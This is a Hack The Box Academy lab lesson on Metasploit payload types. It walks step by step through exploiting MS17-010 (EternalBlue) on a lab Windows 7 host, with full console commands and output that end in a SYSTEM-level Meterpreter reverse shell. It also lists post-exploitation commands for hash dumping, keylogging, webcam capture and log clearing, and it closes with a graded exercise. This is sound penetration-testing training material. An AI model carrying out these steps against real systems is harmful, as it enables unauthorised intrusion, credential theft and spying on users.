Hack The Box - Academy

Themesbrand

38-48 minutes

Payloads

A Payload in Metasploit refers to a module that aids the exploit module in (typically) returning a shell to the attacker. The payloads are sent together with the exploit itself to bypass standard functioning procedures of the vulnerable service (exploits job) and then run on the target OS to typically return a reverse connection to the attacker and establish a foothold (payload's job).

There are three different types of payload modules in the Metasploit Framework: Singles, Stagers, and Stages. Using three typologies of payload interaction will prove beneficial to the pentester. It can offer the flexibility we need to perform certain types of tasks. Whether or not a payload is staged is represented by / in the payload name.

For example, windows/shell_bind_tcp is a single payload with no stage, whereas windows/shell/bind_tcp consists of a stager (bind_tcp) and a stage (shell).

Singles

A Single payload contains the exploit and the entire shellcode for the selected task. Inline payloads are by design more stable than their counterparts because they contain everything all-in-one. However, some exploits will not support the resulting size of these payloads as they can get quite large. Singles are self-contained payloads. They are the sole object sent and executed on the target system, getting us a result immediately after running. A Single payload can be as simple as adding a user to the

target system or booting up a process.

Stagers

Stager payloads work with Stage payloads to perform a specific task. A Stager is waiting on the attacker machine, ready to establish a connection to the victim host once the stage completes its run on the remote host. Stagers are typically used to set up a network connection between the attacker and victim and are designed to be small and reliable. Metasploit will use the best one and fall back to a less-preferred one when necessary.

Windows NX vs. NO-NX Stagers

- Reliability issue for NX CPUs and DEP
- NX stagers are bigger (VirtualAlloc memory)
- Default is now NX + Win7 compatible

Stages

Stages are payload components that are downloaded by stager's modules. The various payload Stages provide advanced features with no size limits, such as Meterpreter, VNC Injection, and others. Payload stages automatically use middle stagers:

- A single recv() fails with large payloads
- The Stager receives the middle stager
- The middle Stager then performs a full download
- Also better for RWX

Staged Payloads

A staged payload is, simply put, an exploitation process that is modularized and functionally separated to help segregate the different functions it accomplishes into different code blocks, each completing its objective individually but working on chaining the attack together. This will ultimately grant an attacker remote access to the target machine if all the stages work correctly.

The scope of this payload, as with any others, besides granting shell access to the target system, is to be as compact and inconspicuous as possible to aid with the Antivirus (AV) / Intrusion Prevention System (IPS) evasion as much as possible.

Stage0 of a staged payload represents the initial shellcode sent over the network to the target machine's vulnerable service, which has the sole purpose of initializing a connection back to the attacker machine. This is what is known as a reverse connection. As a Metasploit user, we will meet these under the common names reverse_tcp, reverse_https, and bind_tcp. For example, under the show payloads command, you can look for the payloads that look like the following:

MSF - Staged Payloads

MSF - Staged Payloads

```
msf6 > show payloads
<SNIP>
535
    windows/x64/meterpreter/bind ipv6 tcp
normal No
               Windows Meterpreter (Reflective
Injection x64), Windows x64 IPv6 Bind TCP Stager
536 windows/x64/meterpreter/bind ipv6 tcp uuid
normal
       No
               Windows Meterpreter (Reflective
Injection x64), Windows x64 IPv6 Bind TCP Stager with
UUID Support
   windows/x64/meterpreter/bind named pipe
normal
       No
               Windows Meterpreter (Reflective
Injection x64), Windows x64 Bind Named Pipe Stager
538 windows/x64/meterpreter/bind tcp
normal
               Windows Meterpreter (Reflective
       No
Injection x64), Windows x64 Bind TCP Stager
539 windows/x64/meterpreter/bind tcp rc4
              Windows Meterpreter (Reflective
normal
       No
Injection x64), Bind TCP Stager (RC4 Stage Encryption,
Metasm)
540
    windows/x64/meterpreter/bind tcp uuid
```

```
normal No Windows Meterpreter (Reflective
Injection x64), Bind TCP Stager with UUID Support
(Windows x64)
541 windows/x64/meterpreter/reverse http
normal No Windows Meterpreter (Reflective
Injection x64), Windows x64 Reverse HTTP Stager
(wininet)
542 windows/x64/meterpreter/reverse https
           Windows Meterpreter (Reflective
normal No
Injection x64), Windows x64 Reverse HTTP Stager
(wininet)
543 windows/x64/meterpreter/reverse named pipe
          Windows Meterpreter (Reflective
Injection x64), Windows x64 Reverse Named Pipe (SMB)
Stager
544 windows/x64/meterpreter/reverse tcp
normal No Windows Meterpreter (Reflective
Injection x64), Windows x64 Reverse TCP Stager
545 windows/x64/meterpreter/reverse tcp rc4
normal No Windows Meterpreter (Reflective
Injection x64), Reverse TCP Stager (RC4 Stage
Encryption, Metasm)
546 windows/x64/meterpreter/reverse tcp uuid
normal No Windows Meterpreter (Reflective
Injection x64), Reverse TCP Stager with UUID Support
(Windows x64)
547 windows/x64/meterpreter/reverse winhttp
normal No Windows Meterpreter (Reflective
Injection x64), Windows x64 Reverse HTTP Stager
(winhttp)
548 windows/x64/meterpreter/reverse winhttps
normal No Windows Meterpreter (Reflective
Injection x64), Windows x64 Reverse HTTPS Stager
(winhttp)
<SNIP>
```

Reverse connections are less likely to trigger prevention systems like the

one initializing the connection is the victim host, which most of the time resides in what is known as a security trust zone. However, of course, this trust policy is not blindly followed by the security devices and personnel of a network, so the attacker must tread carefully even with this step.

Stage0 code also aims to read a larger, subsequent payload into memory once it arrives. After the stable communication channel is established between the attacker and the victim, the attacker machine will most likely send an even bigger payload stage which should grant them shell access. This larger payload would be the Stage1 payload. We will go into more detail in the later sections.

Meterpreter Payload

The Meterpreter payload is a specific type of multi-faceted payload that uses DLL injection to ensure the connection to the victim host is stable, hard to detect by simple checks, and persistent across reboots or system changes. Meterpreter resides completely in the memory of the remote host and leaves no traces on the hard drive, making it very difficult to detect with conventional forensic techniques. In addition, scripts and plugins can be loaded and unloaded dynamically as required.

Once the Meterpreter payload is executed, a new session is created, which spawns up the Meterpreter interface. It is very similar to the msfconsole interface, but all available commands are aimed at the target system, which the payload has "infected." It offers us a plethora of useful commands, varying from keystroke capture, password hash collection, microphone tapping, and screenshotting to impersonating process security tokens. We will delve into more detail about Meterpreter in a later section.

Using Meterpreter, we can also load in different Plugins to assist us with our assessment. We will talk more about these in the Plugins section of this module.

Searching for Payloads

To select our first payload, we need to know what we want to do on the target machine. For example, if we are going for access persistence, we will

probably want to select a Meterpreter payload.

As mentioned above, Meterpreter payloads offer us a significant amount of flexibility. Their base functionality is already vast and influential. We can automate and quickly deliver combined with plugins such as GentilKiwi's Mimikatz Plugin parts of the pentest while keeping an organized, time-effective assessment. To see all of the available payloads, use the show payloads command in msfconsole.

MSF - List Payloads

MSF - List Payloads

```
msf6 > show payloads
Payloads
  #
        Name
Disclosure Date Rank Check Description
  0 aix/ppc/shell bind tcp
            AIX Command Shell, Bind TCP Inline
manual
        aix/ppc/shell find port
   1
             AIX Command Shell, Find Port Inline
manual
        No
        aix/ppc/shell interact
   2
            AIX execve Shell for inetd
manual
        No
   3
        aix/ppc/shell reverse tcp
manual
              AIX Command Shell, Reverse TCP Inline
        No
   4
        android/meterpreter/reverse http
              Android Meterpreter, Android Reverse
manual
        No
HTTP Stager
        android/meterpreter/reverse https
   5
              Android Meterpreter, Android Reverse
manual
        No
HTTPS Stager
        android/meterpreter/reverse tcp
   6
              Android Meterpreter, Android Reverse TCP
manual
        No
Stager
```

```
android/meterpreter reverse http
   7
               Android Meterpreter Shell, Reverse HTTP
manual
        No
Inline
   8
        android/meterpreter reverse https
               Android Meterpreter Shell, Reverse HTTPS
manual
        No
Inline
   9
        android/meterpreter reverse tcp
               Android Meterpreter Shell, Reverse TCP
manual
        No
Inline
   10
        android/shell/reverse http
               Command Shell, Android Reverse HTTP
manual
        No
Stager
   11
        android/shell/reverse https
               Command Shell, Android Reverse HTTPS
manual
        No
Stager
   12
        android/shell/reverse tcp
               Command Shell, Android Reverse TCP
manual
        No
Stager
        apple ios/aarch64/meterpreter reverse http
   13
            Apple iOS Meterpreter, Reverse HTTP
        No
manual
Inline
<SNIP>
  557 windows/x64/vncinject/reverse tcp
              Windows x64 VNC Server (Reflective
manual
       No
Injection), Windows x64 Reverse TCP Stager
  558 windows/x64/vncinject/reverse tcp rc4
               Windows x64 VNC Server (Reflective
manual
       No
Injection), Reverse TCP Stager (RC4 Stage Encryption,
Metasm)
       windows/x64/vncinject/reverse tcp uuid
   559
manual
        No
               Windows x64 VNC Server (Reflective
Injection), Reverse TCP Stager with UUID Support
(Windows x64)
   560 windows/x64/vncinject/reverse winhttp
              Windows x64 VNC Server (Reflective
manual
Injection), Windows x64 Reverse HTTP Stager (winhttp)
```

```
561 windows/x64/vncinject/reverse_winhttps
manual No Windows x64 VNC Server (Reflective
Injection), Windows x64 Reverse HTTPS Stager (winhttp)
```

As seen above, there are a lot of available payloads to choose from. Not only that, but we can create our payloads using msfvenom, but we will dive into that a little bit later. We will use the same target as before, and instead of using the default payload, which is a simple reverse_tcp_shell, we will be using a Meterpreter Payload for Windows 7(x64).

Scrolling through the list above, we find the section containing Meterpreter Payloads for Windows (x64).

MSF - List Payloads

(wininet)

```
windows/x64/meterpreter/bind ipv6 tcp
   515
               Windows Meterpreter (Reflective
manual
        No
Injection x64), Windows x64 IPv6 Bind TCP Stager
   516 windows/x64/meterpreter/bind ipv6 tcp uuid
manual
       No
               Windows Meterpreter (Reflective
Injection x64), Windows x64 IPv6 Bind TCP Stager with
UUID Support
   517 windows/x64/meterpreter/bind named pipe
              Windows Meterpreter (Reflective
manual
Injection x64), Windows x64 Bind Named Pipe Stager
   518 windows/x64/meterpreter/bind tcp
manual
               Windows Meterpreter (Reflective
        No
Injection x64), Windows x64 Bind TCP Stager
   519 windows/x64/meterpreter/bind tcp rc4
manual
               Windows Meterpreter (Reflective
        No
Injection x64), Bind TCP Stager (RC4 Stage Encryption,
Metasm)
   520
       windows/x64/meterpreter/bind tcp uuid
              Windows Meterpreter (Reflective
manual
Injection x64), Bind TCP Stager with UUID Support
(Windows x64)
       windows/x64/meterpreter/reverse http
   521
               Windows Meterpreter (Reflective
manual
        No
```

Injection x64), Windows x64 Reverse HTTP Stager

```
522 windows/x64/meterpreter/reverse https
              Windows Meterpreter (Reflective
manual No
Injection x64), Windows x64 Reverse HTTP Stager
(wininet)
  523 windows/x64/meterpreter/reverse named pipe
              Windows Meterpreter (Reflective
manual No
Injection x64), Windows x64 Reverse Named Pipe (SMB)
Stager
  524 windows/x64/meterpreter/reverse tcp
manual No
              Windows Meterpreter (Reflective
Injection x64), Windows x64 Reverse TCP Stager
   525 windows/x64/meterpreter/reverse tcp rc4
              Windows Meterpreter (Reflective
manual
Injection x64), Reverse TCP Stager (RC4 Stage
Encryption, Metasm)
   526 windows/x64/meterpreter/reverse tcp uuid
           Windows Meterpreter (Reflective
manual
Injection x64), Reverse TCP Stager with UUID Support
(Windows x64)
   527 windows/x64/meterpreter/reverse winhttp
manual No
              Windows Meterpreter (Reflective
Injection x64), Windows x64 Reverse HTTP Stager
(winhttp)
  528 windows/x64/meterpreter/reverse winhttps
              Windows Meterpreter (Reflective
manual
Injection x64), Windows x64 Reverse HTTPS Stager
(winhttp)
  529 windows/x64/meterpreter bind named pipe
              Windows Meterpreter Shell, Bind Named
manual No
Pipe Inline (x64)
  530 windows/x64/meterpreter bind tcp
              Windows Meterpreter Shell, Bind TCP
manual
       No
Inline (x64)
  531 windows/x64/meterpreter reverse http
manual No
              Windows Meterpreter Shell, Reverse HTTP
Inline (x64)
   532 windows/x64/meterpreter reverse https
```

Windows Meterpreter Shell, Reverse HTTPS

manual No

```
Inline (x64)
   533 windows/x64/meterpreter_reverse_ipv6_tcp
manual No Windows Meterpreter Shell, Reverse TCP
Inline (IPv6) (x64)
   534 windows/x64/meterpreter_reverse_tcp
manual No Windows Meterpreter Shell, Reverse TCP
Inline x64
```

As we can see, it can be pretty time-consuming to find the desired payload with such an extensive list. We can also use grep in msfconsole to filter out specific terms. This would speed up the search and, therefore, our selection.

We have to enter the grep command with the corresponding parameter at the beginning and then the command in which the filtering should happen. For example, let us assume that we want to have a TCP based reverse shell handled by Meterpreter for our exploit. Accordingly, we can first search for all results that contain the word Meterpreter in the payloads.

MSF - Searching for Specific Payload

MSF - Searching for Specific Payload

```
msf6 exploit(windows/smb/ms17 010 eternalblue) > grep
meterpreter show payloads
      payload/windows/x64/meterpreter/bind ipv6 tcp
   6
               Windows Meterpreter (Reflective
normal No
Injection x64), Windows x64 IPv6 Bind TCP Stager
       payload/windows/x64/meterpreter
/bind ipv6 tcp uuid
                                      normal
                                              No
Windows Meterpreter (Reflective Injection x64), Windows
x64 IPv6 Bind TCP Stager with UUID Support
       payload/windows/x64/meterpreter/bind named pipe
   8
               Windows Meterpreter (Reflective
       No
normal
Injection x64), Windows x64 Bind Named Pipe Stager
   9
       payload/windows/x64/meterpreter/bind tcp
               Windows Meterpreter (Reflective
normal
       No
Injection x64), Windows x64 Bind TCP Stager
```

- 10 payload/windows/x64/meterpreter/bind_tcp_rc4
 normal No Windows Meterpreter (Reflective
 Injection x64), Bind TCP Stager (RC4 Stage Encryption,
 Metasm)
- 11 payload/windows/x64/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
- 12 payload/windows/x64/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
- 13 payload/windows/x64/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
- 14 payload/windows/x64/meterpreter
 /reverse_named_pipe normal No
 Windows Meterpreter (Reflective Injection x64), Windows
 x64 Reverse Named Pipe (SMB) Stager
- 15 payload/windows/x64/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
- 16 payload/windows/x64/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
- 17 payload/windows/x64/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
- 18 payload/windows/x64/meterpreter/reverse_winhttp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
- 19 payload/windows/x64/meterpreter/reverse_winhttps normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager

```
(winhttp)
msf6 exploit(windows/smb/ms17 010 eternalblue) > grep
-c meterpreter show payloads
[*] 14
```

This gives us a total of 14 results. Now we can add another grep command after the first one and search for reverse tcp.

MSF - Searching for Specific Payload

```
msf6 exploit(windows/smb/ms17 010 eternalblue) > grep
meterpreter grep reverse tcp show payloads
   15
     payload/windows/x64/meterpreter/reverse tcp
normal No
               Windows Meterpreter (Reflective
Injection x64), Windows x64 Reverse TCP Stager
      payload/windows/x64/meterpreter/reverse tcp rc4
               Windows Meterpreter (Reflective
normal No
Injection x64), Reverse TCP Stager (RC4 Stage
Encryption, Metasm)
   17 payload/windows/x64/meterpreter/reverse tcp uuid
               Windows Meterpreter (Reflective
normal No
Injection x64), Reverse TCP Stager with UUID Support
(Windows x64)
msf6 exploit(windows/smb/ms17 010 eternalblue) > grep
-c meterpreter grep reverse tcp show payloads
[*] 3
```

With the help of grep, we reduced the list of payloads we wanted down to fewer. Of course, the grep command can be used for all other commands. All we need to know is what we are looking for.

Selecting Payloads

Same as with the module, we need the index number of the entry we would like to use. To set the payload for the currently selected module, we use set payload <no.> only after selecting an Exploit module to begin with.

MSF - Select Payload

MSF - Select Payload

```
msf6 exploit(windows/smb/ms17 010 eternalblue) > show
options
Module options (exploit/windows
/smb/ms17 010 eternalblue):
   Name
                  Current Setting Required
Description
   RH0STS
                                    yes
                                              The target
host(s), range CIDR identifier, or hosts file with
syntax 'file:<path>'
   RPORT
                  445
                                              The target
                                    yes
port (TCP)
                                              (Optional)
   SMBDomain
                                    no
The Windows domain to use for authentication
                                              (Optional)
   SMBPass
                                    no
The password for the specified username
                                              (Optional)
   SMBUser
                                    no
The username to authenticate as
   VERIFY ARCH
                                              Check if
                  true
                                    yes
remote architecture matches exploit Target.
                                              Check if
   VERIFY TARGET true
                                    yes
remote OS matches exploit Target.
Exploit target:
   Id
       Name
```

```
Windows 7 and Server 2008 R2 (x64) All Service
Packs
msf6 exploit(windows/smb/ms17 010 eternalblue) > grep
meterpreter grep reverse tcp show payloads
       payload/windows/x64/meterpreter/reverse tcp
   15
               Windows Meterpreter (Reflective
normal No
Injection x64), Windows x64 Reverse TCP Stager
   16 payload/windows/x64/meterpreter/reverse_tcp_rc4
               Windows Meterpreter (Reflective
normal No
Injection x64), Reverse TCP Stager (RC4 Stage
Encryption, Metasm)
       payload/windows/x64/meterpreter/reverse tcp uuid
            Windows Meterpreter (Reflective
normal No
Injection x64), Reverse TCP Stager with UUID Support
(Windows x64)
msf6 exploit(windows/smb/ms17 010 eternalblue) > set
payload 15
payload => windows/x64/meterpreter/reverse tcp
After selecting a payload, we will have more options available to us.
MSF - Select Payload
msf6 exploit(windows/smb/ms17 010 eternalblue) > show
options
Module options (exploit/windows
/smb/ms17 010 eternalblue):
   Name
                  Current Setting Required
Description
```

```
RH0STS
                                yes The target
host(s), range CIDR identifier, or hosts file with
syntax 'file:<path>'
  RPORT
                                         The target
                                yes
port (TCP)
  SMBDomain
                                         (Optional)
                                no
The Windows domain to use for authentication
  SMBPass
                                         (Optional)
                                no
The password for the specified username
                                         (Optional)
  SMBUser
                                no
The username to authenticate as
                                         Check if
  VERIFY ARCH true
                                yes
remote architecture matches exploit Target.
                                     Check if
  VERIFY TARGET true
                                yes
remote OS matches exploit Target.
Payload options (windows/x64/meterpreter/reverse tcp):
  Name Current Setting Required Description
           -----
  EXITFUNC thread
                           yes Exit technique
(Accepted: '', seh, thread, process, none)
  LH0ST
                                    The listen
                           ves
address (an interface may be specified)
  LPORT 4444
                           yes
                                The listen port
Exploit target:
  Id Name
      Windows 7 and Server 2008 R2 (x64) All Service
  0
Packs
```

As we can see, by running the show payloads command within the

Exploit module itself, msfconsole has detected that the target is a Windows machine, and such only displayed the payloads aimed at Windows operating systems.

We can also see that a new option field has appeared, directly related to what the payload parameters will contain. We will be focusing on LH0ST and LP0RT (our attacker IP and the desired port for reverse connection initialization). Of course, if the attack fails, we can always use a different port and relaunch the attack.

Using Payloads

Time to set our parameters for both the Exploit module and the payload module. For the Exploit part, we will need to set the following:

Parameter	Description
RH0STS	The IP address of the remote host, the target machine.
RPORT	Does not require a change, just a check that we are on port 445, where SMB is running.

For the payload part, we will need to set the following:

Parameter	Description
LH0ST	The host's IP address, the attacker's machine.
LPORT	Does not require a change, just a check that the port is not already in use.

If we want to check our LHOST IP address quickly, we can always call the ifconfig command directly from the msfconsole menu.

MSF - Exploit and Payload Configuration

MSF - Exploit and Payload Configuration

```
msf6 exploit(**windows/smb/ms17_010_eternalblue**) >
ifconfig

**[\*]** exec: ifconfig
```

```
tun0:
flags=4305<UP,P0INT0P0INT,RUNNING,N0ARP,MULTICAST> mtu
1500
<SNIP>
inet 10.10.14.15 netmask 255.255.254.0 destination
10.10.14.15
<SNIP>
msf6 exploit(windows/smb/ms17 010 eternalblue) > set
LHOST 10.10.14.15
LHOST => 10.10.14.15
msf6 exploit(windows/smb/ms17 010 eternalblue) > set
RHOSTS 10.10.10.40
RHOSTS => 10.10.10.40
```

Then, we can run the exploit and see what it returns. Check out the differences in the output below:

MSF - Exploit and Payload Configuration

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 10.10.14.15:4444
[*] 10.10.10.40:445 - Using auxiliary/scanner
/smb/smb_ms17_010 as check
[+] 10.10.10.40:445 - Host is likely VULNERABLE
to MS17-010! - Windows 7 Professional 7601 Service Pack
1 x64 (64-bit)
[*] 10.10.10.40:445 - Scanned 1 of 1 hosts (100% complete)
[*] 10.10.10.40:445 - Connecting to target for
```

- exploitation.
- [+] 10.10.10.40:445 Connection established for exploitation.
- [+] 10.10.10.40:445 Target OS selected valid for OS indicated by SMB reply
- [*] 10.10.10.40:445 CORE raw buffer dump (42 bytes)
- [*] 10.10.10.40:445 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
- [*] 10.10.10.40:445 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
- [*] 10.10.10.40:445 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
- [+] 10.10.10.40:445 Target arch selected valid for arch indicated by DCE/RPC reply
- [*] 10.10.10.40:445 Trying exploit with 12 Groom Allocations.
- [*] 10.10.10.40:445 Sending all but last fragment of exploit packet
- [*] 10.10.10.40:445 Starting non-paged pool grooming
- [+] 10.10.10.40:445 Sending SMBv2 buffers
- [+] 10.10.10.40:445 Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
- [*] 10.10.10.40:445 Sending final SMBv2 buffers.
- [*] 10.10.10.40:445 Sending last fragment of exploit packet!
- [*] 10.10.10.40:445 Receiving response from exploit packet
- [+] 10.10.10.40:445 ETERNALBLUE overwrite completed successfully (0xC000000D)!
- [*] 10.10.10.40:445 Sending egg to corrupted connection.
- [*] 10.10.10.40:445 Triggering free of corrupted buffer.
- [*] Sending stage (201283 bytes) to 10.10.10.40
- [*] Meterpreter session 1 opened (10.10.14.15:4444 ->

- 10.10.10.40:49158) at 2020-08-14 11:25:32 +0000
- [+] 10.10.10.40:445 -

The prompt is not a Windows command-line one but a Meterpreter prompt. The whoami command, typically used for Windows, does not work here. Instead, we can use the Linux equivalent of getuid. Exploring the help menu gives us further insight into what Meterpreter payloads are capable of.

MSF - Meterpreter Commands

MSF - Meterpreter Commands

```
meterpreter > help
Core Commands
_____
                               Description
    Command
    _ _ _ _ _ _
                               Help menu
    background
                               Backgrounds the current
session
                               Alias for background
    bq
    bgkill
                               Kills a background
meterpreter script
    bglist
                               Lists running background
```

bgrun Executes a meterpreter script as a background thread channel Displays information or control active channels close Closes a channel Disables encoding of Unicode strings enable_unicode_encoding Enables encoding of Unicode strings exit Terminate the meterpreter session get_timeouts Get the session GUID help Help menu info Displays information about a Post module IRB Open an interactive Ruby shell on the current session load Load one or more meterpreter extensions machine_id Get the MSF ID of the machine attached to the session migrate Migrate the server to another process pivot Manage pivot listeners pry Open the Pry debugger on the current session quit Terminate the meterpreter session read Reads data from a channel resource Run the commands stored in a file run Executes a meterpreter secript or Post module secure (Re)Negotiate TLV packet encryption on the session	scripts	
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run Executes a meterpreter script or Post module secure (Re)Negotiate TLV packet		Run the commands stored
script or Post module secure (Re)Negotiate TLV packet	in a file	
secure (Re)Negotiate TLV packet		Executes a meterpreter
encryption on the session		(Re)Negotiate TLV packet

sessions Quickly switch to another

session

set timeouts Set the current session

timeout values

sleep Force Meterpreter to go

quiet, then re-establish session.

transport Change the current

transport mechanism

use Deprecated alias for

"load"

uuid Get the UUID for the

current session

write Writes data to a channel

Strap: File system Commands

Command Description

cat Read the contents of a file to the

screen

cd Change directory

checksum Retrieve the checksum of a file

cp Copy source to destination dir List files (alias for ls)

download Download a file or directory

edit Edit a file

getlwd Print local working directory

getwd Print working directory

LCD Change local working directory

lls List local files

lpwd Print local working directory

ls List files

mkdir Make directory

mv Move source to destination
PWD Print working directory
rm Delete the specified file

rmdir Remove directory search Search for files

show mount List all mount points/logical drives

upload Upload a file or directory

Strap: Networking Commands

Command Description

arp Display the host ARP cache get proxy Display the current proxy

configuration

ifconfig Display interfaces ipconfig Display interfaces

netstat Display the network connections portfwd Forward a local port to a remote

service

resolve Resolve a set of hostnames on the

target

route View and modify the routing table

Strap: System Commands

Command Description

clearev Clear the event log

drop_token Relinquishes any active impersonation

token.

execute Execute a command

getenv Get one or more environment variable

values

getpid Get the current process identifier getprivs Attempt to enable all privileges

available to the current process

getsid Get the SID of the user that the

server is running as

getuid Get the user that the server is

running as

kill Terminate a process

localtime Displays the target system's local

date and time

pgrep Filter processes by name

pkill Terminate processes by name

ps List running processes

reboot Reboots the remote computer

reg Modify and interact with the remote

registry

rev2self Calls RevertToSelf() on the remote

machine

shell Drop into a system command shell shutdown Shuts down the remote computer

steal_token Attempts to steal an impersonation

token from the target process

suspend Suspends or resumes a list of

processes

sysinfo Gets information about the remote

system, such as OS

Strap: User interface Commands

Command Description

enumdesktops List all accessible desktops and

window stations

getdesktop Get the current meterpreter desktop

idle time Returns the number of seconds the

remote user has been idle

keyboard_send Send keystrokes keyevent Send key events

keyscan start Start capturing keystrokes keyscan stop Stop capturing keystrokes

Send mouse events mouse

screenshare Watch the remote user's desktop in

real-time

Grab a screenshot of the interactive screenshot

desktop

setdesktop Change the meterpreters current

desktop

uictl Control some of the user interface

components

Stdapi: Webcam Commands

Description Command

record mic Record audio from the default

microphone for X seconds

webcam

webcam stream Play a video stream from the

specified webcam

Strap: Audio Output Commands

Command Description _ _ _ _ _

play play a waveform audio file (.wav) on

the target system

Priv: Elevate Commands

Command Description

get system Attempt to elevate your privilege to

that of the local system.

Priv: Password database Commands

Command Description

hashdump Dumps the contents of the SAM

database

Priv: Timestamp Commands

Command Description

timestamp Manipulate file MACE attributes

Pretty nifty. From extracting user hashes from SAM to taking screenshots and activating webcams. All of this is done from the comfort of a Linux-style command line. Exploring further, we also see the option to open a shell channel. This will place us in the actual Windows command-line interface.

MSF - Meterpreter Navigation

MSF - Meterpreter Navigation

```
meterpreter > cd Users
```

meterpreter > ls

Listing: C:\Users

Mode Name	Size	Type	Last modified			
40777/rwxrwxrwx Administrator	8192	dir	2017-07-21 06:56:23 +0000			
40777/rwxrwxrwx All Users	0	dir	2009-07-14 05:08:56 +0000			
40555/r-xr-xr-x Default	8192	dir	2009-07-14 03:20:08 +0000			
40777/rwxrwxrwx Default User	0	dir	2009-07-14 05:08:56 +0000			
40555/r-xr-xr-x Public	4096	dir	2009-07-14 03:20:08 +0000			
100666/rw-rw-rw- desktop.ini	174	fil	2009-07-14 04:54:24 +0000			
40777/rwxrwxrwx haris	8192	dir	2017-07-14 13:45:33 +0000			
meterpreter > shell						
Process 2664 created. Channel 1 created.						
Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved.						
C:\Users>						

Channel 1 has been created, and we are automatically placed into the CLI for this machine. The channel here represents the connection between our device and the target host, which has been established in a reverse TCP connection (from the target host to us) using a Meterpreter Stager and Stage. The stager was activated on our machine to await a connection request initialized by the Stage payload on the target machine.

Moving into a standard shell on the target is helpful in some cases, but

Meterpreter can also navigate and perform actions on the victim machine. So we see that the commands have changed, but we have the same privilege level within the system.

MSF - Windows CMD

MSF - Windows CMD

```
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights
reserved.
C:\Users>dir
dir
Volume in drive C has no label.
Volume Serial Number is A0EF-1911
Directory of C:\Users
21/07/2017 07:56
                    <DIR>
21/07/2017 07:56 <DIR>
21/07/2017 07:56 <DIR>
                                  Administrator
14/07/2017 14:45 <DIR>
                                  haris
12/04/2011 08:51
                    <DIR>
                                   Public
              0 File(s)
                                     0 bytes
              5 Dir(s) 15,738,978,304 bytes free
C:\Users>whoami
whoami
nt authority\system
```

Let's see what other types of payloads we can use. We will be looking at the most common ones related to Windows operating systems.

Payload Types

The table below contains the most common payloads used for Windows

machines and their respective descriptions.

Payload	Description
generic/custom	Generic listener, multi-use
<pre>generic/shell_bind_tcp</pre>	Generic listener, multi-use, normal shell, TCP connection binding
<pre>generic/shell_reverse_tcp</pre>	Generic listener, multi-use, normal shell, reverse TCP connection
windows/x64/exec	Executes an arbitrary command (Windows x64)
windows/x64/loadlibrary	Loads an arbitrary x64 library path
windows/x64/messagebox	Spawns a dialog via MessageBox using a customizable title, text & icon
<pre>windows/x64 /shell_reverse_tcp</pre>	Normal shell, single payload, reverse TCP connection
windows/x64/shell /reverse_tcp	Normal shell, stager + stage, reverse TCP connection
windows/x64/shell /bind_ipv6_tcp	Normal shell, stager + stage, IPv6 Bind TCP stager
windows/x64/meterpreter/\$	Meterpreter payload + varieties above
windows/x64/powershell/\$	Interactive PowerShell sessions + varieties above
windows/x64/vncinject/\$	VNC Server (Reflective Injection) + varieties above

Other critical payloads that are heavily used by penetration testers during security assessments are Empire and Cobalt Strike payloads. These are not in the scope of this course, but feel free to research them in our free time as they can provide a significant amount of insight into how professional penetration testers perform their assessments on high-value targets.

Besides these, of course, there are a plethora of other payloads out there. Some are for specific device vendors, such as Cisco, Apple, or PLCs. Some we can generate ourselves using msfvenom. However, next up, we will look at Targets and how they can be used to influence the attack outcome.

VPN Servers

Warning: Each time you "Switch", your connection keys are regenerated and you must re-download your VPN connection file.

All VM instances associated with the old VPN Server will be terminated when switching to a new VPN server.

Existing PwnBox instances will automatically switch to the new VPN server.

Questions

Answer the question(s) below to complete this Section and earn cubes!

Target: Click here to spawn the target system!

+ 2 Exploit the Apache Druid service and find the flag.txt file. Submit the contents of this file as the answer.